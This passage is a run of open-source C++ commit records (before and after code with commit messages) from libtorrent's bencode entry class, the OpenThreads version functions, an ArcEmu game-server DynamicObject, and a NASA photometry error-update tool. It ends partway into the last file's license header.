destruct();
new(data) list_type(v);
m_type = list_t;
#ifndef NDEBUG
m_type_queried = true;
#endif
}
void entry::operator=(integer_type const& v)
{
destruct();
new(data) integer_type(v);
m_type = int_t;
#ifndef NDEBUG
m_type_queried = true;
#endif
}
bool entry::operator==(entry const& e) const
{
if (m_type != e.m_type) return false;
switch(m_type)
{
case int_t:
return integer() == e.integer();
case string_t:
return string() == e.string();
case list_t:
return list() == e.list();
case dictionary_t:
return dict() == e.dict();
default:
TORRENT_ASSERT(m_type == undefined_t);
return true;
}
}
void entry::construct(data_type t)
{
switch(t)
{
case int_t:
new(data) integer_type;
break;
case string_t:
new(data) string_type;
break;
case list_t:
new(data) list_type;
break;
case dictionary_t:
new (data) dictionary_type;
break;
default:
TORRENT_ASSERT(t == undefined_t);
}
m_type = t;
#ifndef NDEBUG
m_type_queried = true;
#endif
}
void entry::copy(entry const& e)
{
switch (e.type())
{
case int_t:
new(data) integer_type(e.integer());
break;
case string_t:
new(data) string_type(e.string());
break;
case list_t:
new(data) list_type(e.list());
break;
case dictionary_t:
new (data) dictionary_type(e.dict());
break;
default:
TORRENT_ASSERT(e.type() == undefined_t);
}
m_type = e.type();
#ifndef NDEBUG
m_type_queried = true;
#endif
}
void entry::destruct()
{
switch(m_type)
{
case int_t:
call_destructor(reinterpret_cast<integer_type*>(data));
break;
case string_t:
call_destructor(reinterpret_cast<string_type*>(data));
break;
case list_t:
call_destructor(reinterpret_cast<list_type*>(data));
break;
case dictionary_t:
call_destructor(reinterpret_cast<dictionary_type*>(data));
break;
default:
TORRENT_ASSERT(m_type == undefined_t);
break;
}
m_type = undefined_t;
#ifndef NDEBUG
m_type_queried = false;
#endif
}
void entry::swap(entry& e)
{
// not implemented
TORRENT_ASSERT(false);
}
void entry::print(std::ostream& os, int indent) const
{
TORRENT_ASSERT(indent >= 0);
for (int i = 0; i < indent; ++i) os << " ";
switch (m_type)
{
case int_t:
os << integer() << "\n";
break;
case string_t:
{
bool binary_string = false;
for (std::string::const_iterator i = string().begin(); i != string().end(); ++i)
{
if (!std::isprint(static_cast<unsigned char>(*i)))
{
binary_string = true;
break;
}
}
if (binary_string)
{
os.unsetf(std::ios_base::dec);
os.setf(std::ios_base::hex);
for (std::string::const_iterator i = string().begin(); i != string().end(); ++i)
os << std::setfill('0') << std::setw(2)
<< static_cast<unsigned int>((unsigned char)*i);
os.unsetf(std::ios_base::hex);
os.setf(std::ios_base::dec);
os << "\n";
}
else
{
os << string() << "\n";
}
} break;
case list_t:
{
os << "list\n";
for (list_type::const_iterator i = list().begin(); i != list().end(); ++i)
{
i->print(os, indent+1);
}
} break;
case dictionary_t:
{
os << "dictionary\n";
for (dictionary_type::const_iterator i = dict().begin(); i != dict().end(); ++i)
{
for (int j = 0; j < indent+1; ++j) os << " ";
os << "[" << i->first << "]";
if (i->second.type() != entry::string_t
&& i->second.type() != entry::int_t)
os << "\n";
else os << " ";
i->second.print(os, indent+2);
}
} break;
default:
os << "<uninitialized>\n";
}
}
}
<commit_msg>reverted last check in<commit_after>/*
Copyright (c) 2003, Arvid Norberg
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the distribution.
* Neither the name of the author nor the names of its
contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
#include "libtorrent/pch.hpp"
#include <algorithm>
#include <iostream>
#include <iomanip>
#include "libtorrent/entry.hpp"
#include "libtorrent/config.hpp"
#if defined(_MSC_VER)
namespace std
{
using ::isprint;
}
#define for if (false) {} else for
#endif
namespace
{
template <class T>
void call_destructor(T* o)
{
TORRENT_ASSERT(o);
o->~T();
}
struct compare_string
{
compare_string(char const* s): m_str(s) {}
bool operator()(
std::pair<std::string
, libtorrent::entry> const& e) const
{
return m_str && e.first == m_str;
}
char const* m_str;
};
}
namespace libtorrent
{
namespace detail
{
TORRENT_EXPORT char const* integer_to_str(char* buf, int size, entry::integer_type val)
{
int sign = 0;
if (val < 0)
{
sign = 1;
val = -val;
}
buf[--size] = '\0';
if (val == 0) buf[--size] = '0';
for (; size > sign && val != 0;)
{
buf[--size] = '0' + char(val % 10);
val /= 10;
}
if (sign) buf[--size] = '-';
return buf + size;
}
}
entry& entry::operator[](char const* key)
{
dictionary_type::iterator i = dict().find(key);
if (i != dict().end()) return i->second;
dictionary_type::iterator ret = dict().insert(
dict().begin()
, std::make_pair(std::string(key), entry()));
return ret->second;
}
entry& entry::operator[](std::string const& key)
{
return (*this)[key.c_str()];
}
entry* entry::find_key(char const* key)
{
dictionary_type::iterator i = std::find_if(
dict().begin()
, dict().end()
, compare_string(key));
if (i == dict().end()) return 0;
return &i->second;
}
entry const* entry::find_key(char const* key) const
{
dictionary_type::const_iterator i = dict().find(key);
if (i == dict().end()) return 0;
return &i->second;
}
#ifndef BOOST_NO_EXCEPTIONS
const entry& entry::operator[](char const* key) const
{
dictionary_type::const_iterator i = dict().find(key);
if (i == dict().end()) throw type_error(
(std::string("key not found: ") + key).c_str());
return i->second;
}
const entry& entry::operator[](std::string const& key) const
{
return (*this)[key.c_str()];
}
#endif
entry::entry()
: m_type(undefined_t)
{
#ifndef NDEBUG
m_type_queried = true;
#endif
}
entry::entry(data_type t)
: m_type(undefined_t)
{
construct(t);
#ifndef NDEBUG
m_type_queried = true;
#endif
}
entry::entry(const entry& e)
: m_type(undefined_t)
{
copy(e);
#ifndef NDEBUG
m_type_queried = e.m_type_queried;
#endif
}
entry::entry(dictionary_type const& v)
: m_type(undefined_t)
{
#ifndef NDEBUG
m_type_queried = true;
#endif
new(data) dictionary_type(v);
m_type = dictionary_t;
}
entry::entry(string_type const& v)
: m_type(undefined_t)
{
#ifndef NDEBUG
m_type_queried = true;
#endif
new(data) string_type(v);
m_type = string_t;
}
entry::entry(list_type const& v)
: m_type(undefined_t)
{
#ifndef NDEBUG
m_type_queried = true;
#endif
new(data) list_type(v);
m_type = list_t;
}
entry::entry(integer_type const& v)
: m_type(undefined_t)
{
#ifndef NDEBUG
m_type_queried = true;
#endif
new(data) integer_type(v);
m_type = int_t;
}
void entry::operator=(dictionary_type const& v)
{
destruct();
new(data) dictionary_type(v);
m_type = dictionary_t;
#ifndef NDEBUG
m_type_queried = true;
#endif
}
void entry::operator=(string_type const& v)
{
destruct();
new(data) string_type(v);
m_type = string_t;
#ifndef NDEBUG
m_type_queried = true;
#endif
}
void entry::operator=(list_type const& v)
{
destruct();
new(data) list_type(v);
m_type = list_t;
#ifndef NDEBUG
m_type_queried = true;
#endif
}
void entry::operator=(integer_type const& v)
{
destruct();
new(data) integer_type(v);
m_type = int_t;
#ifndef NDEBUG
m_type_queried = true;
#endif
}
bool entry::operator==(entry const& e) const
{
if (m_type != e.m_type) return false;
switch(m_type)
{
case int_t:
return integer() == e.integer();
case string_t:
return string() == e.string();
case list_t:
return list() == e.list();
case dictionary_t:
return dict() == e.dict();
default:
TORRENT_ASSERT(m_type == undefined_t);
return true;
}
}
void entry::construct(data_type t)
{
switch(t)
{
case int_t:
new(data) integer_type;
break;
case string_t:
new(data) string_type;
break;
case list_t:
new(data) list_type;
break;
case dictionary_t:
new (data) dictionary_type;
break;
default:
TORRENT_ASSERT(t == undefined_t);
}
m_type = t;
#ifndef NDEBUG
m_type_queried = true;
#endif
}
void entry::copy(entry const& e)
{
switch (e.type())
{
case int_t:
new(data) integer_type(e.integer());
break;
case string_t:
new(data) string_type(e.string());
break;
case list_t:
new(data) list_type(e.list());
break;
case dictionary_t:
new (data) dictionary_type(e.dict());
break;
default:
TORRENT_ASSERT(e.type() == undefined_t);
}
m_type = e.type();
#ifndef NDEBUG
m_type_queried = true;
#endif
}
void entry::destruct()
{
switch(m_type)
{
case int_t:
call_destructor(reinterpret_cast<integer_type*>(data));
break;
case string_t:
call_destructor(reinterpret_cast<string_type*>(data));
break;
case list_t:
call_destructor(reinterpret_cast<list_type*>(data));
break;
case dictionary_t:
call_destructor(reinterpret_cast<dictionary_type*>(data));
break;
default:
TORRENT_ASSERT(m_type == undefined_t);
break;
}
m_type = undefined_t;
#ifndef NDEBUG
m_type_queried = false;
#endif
}
void entry::swap(entry& e)
{
// not implemented
TORRENT_ASSERT(false);
}
void entry::print(std::ostream& os, int indent) const
{
TORRENT_ASSERT(indent >= 0);
for (int i = 0; i < indent; ++i) os << " ";
switch (m_type)
{
case int_t:
os << integer() << "\n";
break;
case string_t:
{
bool binary_string = false;
for (std::string::const_iterator i = string().begin(); i != string().end(); ++i)
{
if (!std::isprint(static_cast<unsigned char>(*i)))
{
binary_string = true;
break;
}
}
if (binary_string)
{
os.unsetf(std::ios_base::dec);
os.setf(std::ios_base::hex);
for (std::string::const_iterator i = string().begin(); i != string().end(); ++i)
os << std::setfill('0') << std::setw(2)
<< static_cast<unsigned int>((unsigned char)*i);
os.unsetf(std::ios_base::hex);
os.setf(std::ios_base::dec);
os << "\n";
}
else
{
os << string() << "\n";
}
} break;
case list_t:
{
os << "list\n";
for (list_type::const_iterator i = list().begin(); i != list().end(); ++i)
{
i->print(os, indent+1);
}
} break;
case dictionary_t:
{
os << "dictionary\n";
for (dictionary_type::const_iterator i = dict().begin(); i != dict().end(); ++i)
{
for (int j = 0; j < indent+1; ++j) os << " ";
os << "[" << i->first << "]";
if (i->second.type() != entry::string_t
&& i->second.type() != entry::int_t)
os << "\n";
else os << " ";
i->second.print(os, indent+2);
}
} break;
default:
os << "<uninitialized>\n";
}
}
}
<|endoftext|>
|
<commit_before>/* -*-c++-*- OpenThreads library, Copyright (C) 2002 - 2007 The Open Thread Group
*
* This library is open source and may be redistributed and/or modified under
* the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or
* (at your option) any later version. The full license is in LICENSE file
* included with this distribution, and on the openscenegraph.org website.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* OpenSceneGraph Public License for more details.
*/
#include <OpenThreads/Version>
#include <string>
#include <stdio.h>
/* These functions expect OPENTHREADS_MAJOR_VERSION,
* OPENTHREADS_MINOR_VERSION, OPENTHREADS_PATCH_VERSION, and
* OPENTHREADS_SOVERSION to be defined by the build system.
*/
extern "C" {
const char* OpenThreadsGetVersion()
{
static char OpenThreads_version[256];
static int OpenThreads_version_init = 1;
if (OpenThreads_version_init)
{
sprintf(OpenThreads_version,"%d.%d.%d",OPENTHREADS_MAJOR_VERSION,OPENTHREADS_MINOR_VERSION,OPENTHREADS_PATCH_VERSION);
OpenThreads_version_init = 0;
}
return OpenThreads_version;
}
const char* OpenThreadsGetSOVersion()
{
static char OpenThreads_soversion[32];
static int OpenThreads_soversion_init = 1;
if (OpenThreads_soversion_init)
{
sprintf(OpenThreads_soversion,"%d",OPENTHREADS_SOVERSION);
OpenThreads_soversion_init = 0;
}
return OpenThreads_soversion;
}
const char* OpenThreadsGetLibraryName()
{
return "OpenThreads Library";
}
}
<commit_msg>Silenced MSVC warning 4996 (sprintf unsafe)<commit_after>/* -*-c++-*- OpenThreads library, Copyright (C) 2002 - 2007 The Open Thread Group
*
* This library is open source and may be redistributed and/or modified under
* the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or
* (at your option) any later version. The full license is in LICENSE file
* included with this distribution, and on the openscenegraph.org website.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* OpenSceneGraph Public License for more details.
*/
#include <OpenThreads/Version>
#include <string>
#include <stdio.h>
#if _WIN32
#pragma warning (disable: 4996)
#endif
/* These functions expect OPENTHREADS_MAJOR_VERSION,
* OPENTHREADS_MINOR_VERSION, OPENTHREADS_PATCH_VERSION, and
* OPENTHREADS_SOVERSION to be defined by the build system.
*/
extern "C" {
const char* OpenThreadsGetVersion()
{
static char OpenThreads_version[256];
static int OpenThreads_version_init = 1;
if (OpenThreads_version_init)
{
sprintf(OpenThreads_version,"%d.%d.%d",OPENTHREADS_MAJOR_VERSION,OPENTHREADS_MINOR_VERSION,OPENTHREADS_PATCH_VERSION);
OpenThreads_version_init = 0;
}
return OpenThreads_version;
}
const char* OpenThreadsGetSOVersion()
{
static char OpenThreads_soversion[32];
static int OpenThreads_soversion_init = 1;
if (OpenThreads_soversion_init)
{
sprintf(OpenThreads_soversion,"%d",OPENTHREADS_SOVERSION);
OpenThreads_soversion_init = 0;
}
return OpenThreads_soversion;
}
const char* OpenThreadsGetLibraryName()
{
return "OpenThreads Library";
}
}
<|endoftext|>
|
<commit_before>/*
* ArcEmu MMORPG Server
* Copyright (C) 2008 <http://www.ArcEmu.org/>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
#include "StdAfx.h"
DynamicObject::DynamicObject(uint32 high, uint32 low)
{
m_objectTypeId = TYPEID_DYNAMICOBJECT;
m_valuesCount = DYNAMICOBJECT_END;
m_uint32Values = _fields;
memset(m_uint32Values, 0,(DYNAMICOBJECT_END)*sizeof(uint32));
m_updateMask.SetCount(DYNAMICOBJECT_END);
m_uint32Values[OBJECT_FIELD_TYPE] = TYPE_DYNAMICOBJECT|TYPE_OBJECT;
m_uint32Values[OBJECT_FIELD_GUID] = low;
m_uint32Values[OBJECT_FIELD_GUID+1] = high;
m_wowGuid.Init(GetGUID());
m_floatValues[OBJECT_FIELD_SCALE_X] = 1;
m_parentSpell=NULL;
m_aliveDuration = 0;
u_caster = 0;
m_spellProto = 0;
p_caster = 0;
}
DynamicObject::~DynamicObject()
{
// remove aura from all targets
DynamicObjectList::iterator jtr = targets.begin();
DynamicObjectList::iterator jend = targets.end();
Unit * target;
while(jtr != jend)
{
target = *jtr;
++jtr;
target->RemoveAura(m_spellProto->Id);
}
if(u_caster->dynObj == this)
u_caster->dynObj = 0;
}
void DynamicObject::Create(Unit * caster, Spell * pSpell, float x, float y, float z, uint32 duration, float radius)
{
Object::_Create(caster->GetMapId(),x, y, z, 0);
if(pSpell->g_caster)
{
m_parentSpell = pSpell;
}
p_caster = pSpell->p_caster;
m_spellProto = pSpell->m_spellInfo;
SetUInt64Value(DYNAMICOBJECT_CASTER, caster->GetGUID());
m_uint32Values[OBJECT_FIELD_ENTRY] = m_spellProto->Id;
m_uint32Values[DYNAMICOBJECT_BYTES] = 0x01eeeeee;
m_uint32Values[DYNAMICOBJECT_SPELLID] = m_spellProto->Id;
m_floatValues[DYNAMICOBJECT_RADIUS] = radius;
m_floatValues[DYNAMICOBJECT_POS_X] = x;
m_floatValues[DYNAMICOBJECT_POS_Y] = y;
m_floatValues[DYNAMICOBJECT_POS_Z] = z;
m_aliveDuration = duration;
u_caster = caster;
m_faction = caster->m_faction;
m_factionDBC = caster->m_factionDBC;
if(caster->dynObj != 0)
{
// expire next update
caster->dynObj->m_aliveDuration = 1;
caster->dynObj->UpdateTargets();
}
caster->dynObj = this;
if(pSpell->g_caster)
{
PushToWorld(pSpell->g_caster->GetMapMgr());
}else
PushToWorld(caster->GetMapMgr());
sEventMgr.AddEvent(this, &DynamicObject::UpdateTargets, EVENT_DYNAMICOBJECT_UPDATE, 100, 0,EVENT_FLAG_DO_NOT_EXECUTE_IN_WORLD_CONTEXT);
}
void DynamicObject::AddInRangeObject( Object* pObj )
{
if( pObj->IsUnit() )
{
bool attackable;
if( p_caster != NULL)
attackable = isAttackable( p_caster, pObj );
else
attackable = isAttackable( this, pObj );
if( attackable )
m_inRangeOppFactions.insert( static_cast< Unit* >( pObj ) );
}
Object::AddInRangeObject( pObj );
}
void DynamicObject::OnRemoveInRangeObject( Object* pObj )
{
if( pObj->IsUnit() )
{
m_inRangeOppFactions.erase( static_cast< Unit* >( pObj ) );
targets.erase( static_cast< Unit* >( pObj ) );
}
Object::OnRemoveInRangeObject( pObj );
}
void DynamicObject::UpdateTargets()
{
if(m_aliveDuration == 0)
return;
if(m_aliveDuration >= 100)
{
// FactionRangeList::iterator itr = m_inRangeOppFactions.begin();
// FactionRangeList::iterator iend = m_inRangeOppFactions.end();
std::set<Object*>::iterator itr = GetInRangeSetBegin(),itr2;
std::set<Object*>::iterator iend = GetInRangeSetEnd();
Unit * target;
Aura * pAura;
float radius = m_floatValues[DYNAMICOBJECT_RADIUS]*m_floatValues[DYNAMICOBJECT_RADIUS];
while(itr != iend)
{
// target = *itr;
// ++itr;
itr2 = itr;
++itr;
if( !( (*itr2)->IsUnit() ) || ! static_cast< Unit* >( *itr2 )->isAlive() || ( static_cast< Creature* >( *itr2 )->IsTotem() && !static_cast< Unit* >( *itr2 )->IsPlayer() ) )
continue;
target = static_cast< Unit* >( *itr2 );
if( !isAttackable( p_caster, target, !(m_spellProto->c_is_flags & SPELL_FLAG_IS_TARGETINGSTEALTHED) ) )
continue;
// skip units already hit, their range will be tested later
if(targets.find(target) != targets.end())
continue;
if(GetDistanceSq(target) <= radius)
{
pAura = new Aura(m_spellProto, m_aliveDuration, u_caster, target);
for(uint32 i = 0; i < 3; ++i)
{
if(m_spellProto->Effect[i] == 27)
{
pAura->AddMod(m_spellProto->EffectApplyAuraName[i],
m_spellProto->EffectBasePoints[i]+1, m_spellProto->EffectMiscValue[i], i);
}
}
target->AddAura(pAura);
if(p_caster)
{
p_caster->HandleProc(PROC_ON_CAST_SPECIFIC_SPELL | PROC_ON_CAST_SPELL,target, m_spellProto);
p_caster->m_procCounter = 0;
}
// add to target list
targets.insert(target);
}
}
// loop the targets, check the range of all of them
DynamicObjectList::iterator jtr = targets.begin();
DynamicObjectList::iterator jtr2;
DynamicObjectList::iterator jend = targets.end();
while(jtr != jend)
{
target = *jtr;
jtr2 = jtr;
++jtr;
if(GetDistanceSq(target) > radius)
{
targets.erase(jtr2);
target->RemoveAura(m_spellProto->Id);
}
}
m_aliveDuration -= 100;
}
else
{
m_aliveDuration = 0;
}
if(m_aliveDuration == 0)
{
DynamicObjectList::iterator jtr = targets.begin();
DynamicObjectList::iterator jend = targets.end();
Unit * target;
while(jtr != jend)
{
target = *jtr;
++jtr;
target->RemoveAura(m_spellProto->Id);
}
Remove();
}
}
void DynamicObject::Remove()
{
if(IsInWorld())
RemoveFromWorld(true);
delete this;
}
<commit_msg>http://arcemu.org/forums/index.php?showtopic=945&hl= -> hunter frost and explosive traps<commit_after>/*
* ArcEmu MMORPG Server
* Copyright (C) 2008 <http://www.ArcEmu.org/>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
#include "StdAfx.h"
DynamicObject::DynamicObject(uint32 high, uint32 low)
{
m_objectTypeId = TYPEID_DYNAMICOBJECT;
m_valuesCount = DYNAMICOBJECT_END;
m_uint32Values = _fields;
memset(m_uint32Values, 0,(DYNAMICOBJECT_END)*sizeof(uint32));
m_updateMask.SetCount(DYNAMICOBJECT_END);
m_uint32Values[OBJECT_FIELD_TYPE] = TYPE_DYNAMICOBJECT|TYPE_OBJECT;
m_uint32Values[OBJECT_FIELD_GUID] = low;
m_uint32Values[OBJECT_FIELD_GUID+1] = high;
m_wowGuid.Init(GetGUID());
m_floatValues[OBJECT_FIELD_SCALE_X] = 1;
m_parentSpell=NULL;
m_aliveDuration = 0;
u_caster = 0;
m_spellProto = 0;
p_caster = 0;
}
DynamicObject::~DynamicObject()
{
// remove aura from all targets
DynamicObjectList::iterator jtr = targets.begin();
DynamicObjectList::iterator jend = targets.end();
Unit * target;
while(jtr != jend)
{
target = *jtr;
++jtr;
target->RemoveAura(m_spellProto->Id);
}
if(u_caster->dynObj == this)
u_caster->dynObj = 0;
}
void DynamicObject::Create(Unit * caster, Spell * pSpell, float x, float y, float z, uint32 duration, float radius)
{
Object::_Create(caster->GetMapId(),x, y, z, 0);
if(pSpell->g_caster)
{
m_parentSpell = pSpell;
}
if( pSpell->p_caster == NULL )
{
// try to find player caster here
if( caster->IsPlayer() )
p_caster = static_cast<Player*>( caster );
}
else
p_caster = pSpell->p_caster;
m_spellProto = pSpell->m_spellInfo;
SetUInt64Value(DYNAMICOBJECT_CASTER, caster->GetGUID());
m_uint32Values[OBJECT_FIELD_ENTRY] = m_spellProto->Id;
m_uint32Values[DYNAMICOBJECT_BYTES] = 0x01eeeeee;
m_uint32Values[DYNAMICOBJECT_SPELLID] = m_spellProto->Id;
m_floatValues[DYNAMICOBJECT_RADIUS] = radius;
m_floatValues[DYNAMICOBJECT_POS_X] = x;
m_floatValues[DYNAMICOBJECT_POS_Y] = y;
m_floatValues[DYNAMICOBJECT_POS_Z] = z;
m_aliveDuration = duration;
u_caster = caster;
m_faction = caster->m_faction;
m_factionDBC = caster->m_factionDBC;
if(caster->dynObj != 0)
{
// expire next update
caster->dynObj->m_aliveDuration = 1;
caster->dynObj->UpdateTargets();
}
caster->dynObj = this;
if(pSpell->g_caster)
{
PushToWorld(pSpell->g_caster->GetMapMgr());
}else
PushToWorld(caster->GetMapMgr());
sEventMgr.AddEvent(this, &DynamicObject::UpdateTargets, EVENT_DYNAMICOBJECT_UPDATE, 100, 0,EVENT_FLAG_DO_NOT_EXECUTE_IN_WORLD_CONTEXT);
}
void DynamicObject::AddInRangeObject( Object* pObj )
{
if( pObj->IsUnit() )
{
bool attackable;
if( p_caster != NULL)
attackable = isAttackable( p_caster, pObj );
else
attackable = isAttackable( this, pObj );
if( attackable )
m_inRangeOppFactions.insert( static_cast< Unit* >( pObj ) );
}
Object::AddInRangeObject( pObj );
}
void DynamicObject::OnRemoveInRangeObject( Object* pObj )
{
if( pObj->IsUnit() )
{
m_inRangeOppFactions.erase( static_cast< Unit* >( pObj ) );
targets.erase( static_cast< Unit* >( pObj ) );
}
Object::OnRemoveInRangeObject( pObj );
}
void DynamicObject::UpdateTargets()
{
if(m_aliveDuration == 0)
return;
if(m_aliveDuration >= 100)
{
// FactionRangeList::iterator itr = m_inRangeOppFactions.begin();
// FactionRangeList::iterator iend = m_inRangeOppFactions.end();
std::set<Object*>::iterator itr = GetInRangeSetBegin(),itr2;
std::set<Object*>::iterator iend = GetInRangeSetEnd();
Unit * target;
Aura * pAura;
float radius = m_floatValues[DYNAMICOBJECT_RADIUS]*m_floatValues[DYNAMICOBJECT_RADIUS];
while(itr != iend)
{
// target = *itr;
// ++itr;
itr2 = itr;
++itr;
if( !( (*itr2)->IsUnit() ) || ! static_cast< Unit* >( *itr2 )->isAlive() || ( static_cast< Creature* >( *itr2 )->IsTotem() && !static_cast< Unit* >( *itr2 )->IsPlayer() ) )
continue;
target = static_cast< Unit* >( *itr2 );
if( !isAttackable( p_caster, target, !(m_spellProto->c_is_flags & SPELL_FLAG_IS_TARGETINGSTEALTHED) ) )
continue;
// skip units already hit, their range will be tested later
if(targets.find(target) != targets.end())
continue;
if(GetDistanceSq(target) <= radius)
{
pAura = new Aura(m_spellProto, m_aliveDuration, u_caster, target);
for(uint32 i = 0; i < 3; ++i)
{
if(m_spellProto->Effect[i] == 27)
{
pAura->AddMod(m_spellProto->EffectApplyAuraName[i],
m_spellProto->EffectBasePoints[i]+1, m_spellProto->EffectMiscValue[i], i);
}
}
target->AddAura(pAura);
if(p_caster)
{
p_caster->HandleProc(PROC_ON_CAST_SPECIFIC_SPELL | PROC_ON_CAST_SPELL,target, m_spellProto);
p_caster->m_procCounter = 0;
}
// add to target list
targets.insert(target);
}
}
// loop the targets, check the range of all of them
DynamicObjectList::iterator jtr = targets.begin();
DynamicObjectList::iterator jtr2;
DynamicObjectList::iterator jend = targets.end();
while(jtr != jend)
{
target = *jtr;
jtr2 = jtr;
++jtr;
if(GetDistanceSq(target) > radius)
{
targets.erase(jtr2);
target->RemoveAura(m_spellProto->Id);
}
}
m_aliveDuration -= 100;
}
else
{
m_aliveDuration = 0;
}
if(m_aliveDuration == 0)
{
DynamicObjectList::iterator jtr = targets.begin();
DynamicObjectList::iterator jend = targets.end();
Unit * target;
while(jtr != jend)
{
target = *jtr;
++jtr;
target->RemoveAura(m_spellProto->Id);
}
Remove();
}
}
void DynamicObject::Remove()
{
if(IsInWorld())
RemoveFromWorld(true);
delete this;
}
<|endoftext|>
|
<commit_before>// __BEGIN_LICENSE__
// Copyright (C) 2006-2010 United States Government as represented by
// the Administrator of the National Aeronautics and Space Administration.
// All Rights Reserved.
// __END_LICENSE__
// What's this file supposed to do ?
//
// (Pho)tometry (It)eration (Error) Update
//
// Equation:
//
// e = Sumk( Sumij( ((I - A*T*R)*S)^2 ))
//
// If there's no reflectance, don't multiply by it.
#include <vw/Image.h>
#include <asp/Core/Macros.h>
#include <asp/PhotometryTK/RemoteProjectFile.h>
#include <asp/PhotometryTK/ErrorAccumulators.h>
using namespace vw;
using namespace asp::pho;
#include <boost/program_options.hpp>
namespace po = boost::program_options;
using namespace std;
struct Options {
Url ptk_url;
// For spawning multiple jobs
int job_id, num_jobs, level;
};
void update_error( Options& opt ) {
RemoteProjectFile remote_ptk( opt.ptk_url );
ProjectMeta project_info;
remote_ptk.get_project( project_info );
// Deciding what cameras
int minidx, maxidx;
minidx = float(project_info.num_cameras()*opt.job_id)/float(opt.num_jobs);
maxidx = float(project_info.num_cameras()*(opt.job_id+1))/float(opt.num_jobs);
// Load platefile
boost::shared_ptr<PlateFile> drg_plate, albedo_plate, reflect_plate;
remote_ptk.get_platefiles(drg_plate,albedo_plate,reflect_plate);
if (opt.level < 0 )
opt.level = drg_plate->num_levels() - 1;
for(int j = minidx; j < maxidx; j++) {
CameraMeta cam_info;
remote_ptk.get_camera(j, cam_info);
ErrorNRAccumulatorFunc<double,Vector2i> funcProto(opt.level, j+1, cam_info.exposure_t(), drg_plate, albedo_plate);
std::cout << "Camera[" << j << "] exposure time: "
<< cam_info.exposure_t() << "\n";
int32 full = 1 << opt.level;
int32 quarter = full/4;
BBox2i affected_tiles(0,quarter,full-1,quarter*2-1);
RecursiveBBoxAccumulator<ErrorNRAccumulatorFunc<double,Vector2i> > accum(32, funcProto);
ErrorNRAccumulatorFunc<double,Vector2i> funcResult = accum(affected_tiles);
std::cout << "cam[" << j << "] error=[" << funcResult.value() << "]\n";
// Once I have the API, call funcResult.value() and
// add it to the existing value in the current camera
if (project_info.current_iteration() == 0) {
cam_info.set_init_error(funcResult.value());
}
else {
cam_info.set_last_error(funcResult.value());
}
remote_ptk.set_camera(j, cam_info);
}
// Compare init error and most recent error:
std::cout << "Init error=[" << remote_ptk.get_init_error() << "]\n";
std::cout << "Last error=[" << remote_ptk.get_last_error() << "]\n";
}
void handle_arguments( int argc, char *argv[], Options& opt ) {
po::options_description general_options("");
general_options.add_options()
("level,l", po::value(&opt.level)->default_value(-1), "Default is to process lowest level.")
("job_id,j", po::value(&opt.job_id)->default_value(0), "")
("num_jobs,n", po::value(&opt.num_jobs)->default_value(1), "")
("help,h", "Display this help message");
po::options_description positional("");
positional.add_options()
("ptk_url", po::value(&opt.ptk_url), "Input PTK Url");
po::positional_options_description positional_desc;
positional_desc.add("ptk_url", 1);
po::options_description all_options;
all_options.add(general_options).add(positional);
po::variables_map vm;
try {
po::store( po::command_line_parser( argc, argv ).options(all_options).positional(positional_desc).run(), vm );
po::notify( vm );
} catch (po::error &e) {
vw_throw( ArgumentErr() << "Error parsing input:\n\t"
<< e.what() << general_options );
}
std::ostringstream usage;
usage << "Usage: " << argv[0] << " <ptk-url>\n";
if ( vm.count("help") )
vw_throw( ArgumentErr() << usage.str() << general_options );
if ( opt.ptk_url.string().empty() )
vw_throw( ArgumentErr() << "Missing project file url!\n"
<< usage.str() << general_options );
}
int main( int argc, char *argv[] ) {
Options opt;
try {
handle_arguments( argc, argv, opt );
update_error( opt );
} ASP_STANDARD_CATCHES;
return 0;
}
<commit_msg>Changed phoiterror to use stderr for outputting informational messages and only use stdout for latest error value results (so we can parse it when it's called from phosolve.py).<commit_after>// __BEGIN_LICENSE__
// Copyright (C) 2006-2010 United States Government as represented by
